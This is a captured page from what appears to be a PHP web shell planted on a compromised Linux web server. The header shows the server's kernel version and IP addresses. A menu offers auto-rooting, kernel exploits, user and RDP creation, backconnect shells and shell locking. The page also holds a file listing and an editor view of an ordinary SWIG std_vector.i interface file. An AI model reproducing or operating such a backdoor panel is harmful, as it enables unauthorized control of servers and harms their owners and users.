Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
swig /
2.0.10 /
go /
[ HOME SHELL ]
Name
Size
Permission
Action
cdata.i
1.55
KB
-rw-r--r--
exception.i
173
B
-rw-r--r--
go.swg
12.38
KB
-rw-r--r--
gokw.swg
555
B
-rw-r--r--
goruntime.swg
4.78
KB
-rw-r--r--
std_common.i
101
B
-rw-r--r--
std_deque.i
28
B
-rw-r--r--
std_except.i
1.18
KB
-rw-r--r--
std_list.i
963
B
-rw-r--r--
std_map.i
1.71
KB
-rw-r--r--
std_pair.i
712
B
-rw-r--r--
std_string.i
1.32
KB
-rw-r--r--
std_vector.i
2.44
KB
-rw-r--r--
stl.i
290
B
-rw-r--r--
typemaps.i
9.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : std_vector.i
/* ----------------------------------------------------------------------------- * std_vector.i * ----------------------------------------------------------------------------- */ %{ #include <vector> #include <stdexcept> %} namespace std { template<class T> class vector { public: typedef size_t size_type; typedef T value_type; typedef const value_type& const_reference; vector(); vector(size_type n); size_type size() const; size_type capacity() const; void reserve(size_type n); %rename(isEmpty) empty; bool empty() const; void clear(); %rename(add) push_back; void push_back(const value_type& x); %extend { const_reference get(int i) throw (std::out_of_range) { int size = int(self->size()); if (i>=0 && i<size) return (*self)[i]; else throw std::out_of_range("vector index out of range"); } void set(int i, const value_type& val) throw (std::out_of_range) { int size = int(self->size()); if (i>=0 && i<size) (*self)[i] = val; else throw std::out_of_range("vector index out of range"); } } }; // bool specialization template<> class vector<bool> { public: typedef size_t size_type; typedef bool value_type; typedef bool const_reference; vector(); vector(size_type n); size_type size() const; size_type capacity() const; void reserve(size_type n); %rename(isEmpty) empty; bool empty() const; void clear(); %rename(add) push_back; void push_back(const value_type& x); %extend { const_reference get(int i) throw (std::out_of_range) { int size = int(self->size()); if (i>=0 && i<size) return (*self)[i]; else throw std::out_of_range("vector index out of range"); } void set(int i, const value_type& val) throw (std::out_of_range) { int size = int(self->size()); if (i>=0 && i<size) (*self)[i] = val; else throw std::out_of_range("vector index out of range"); } } }; }
Close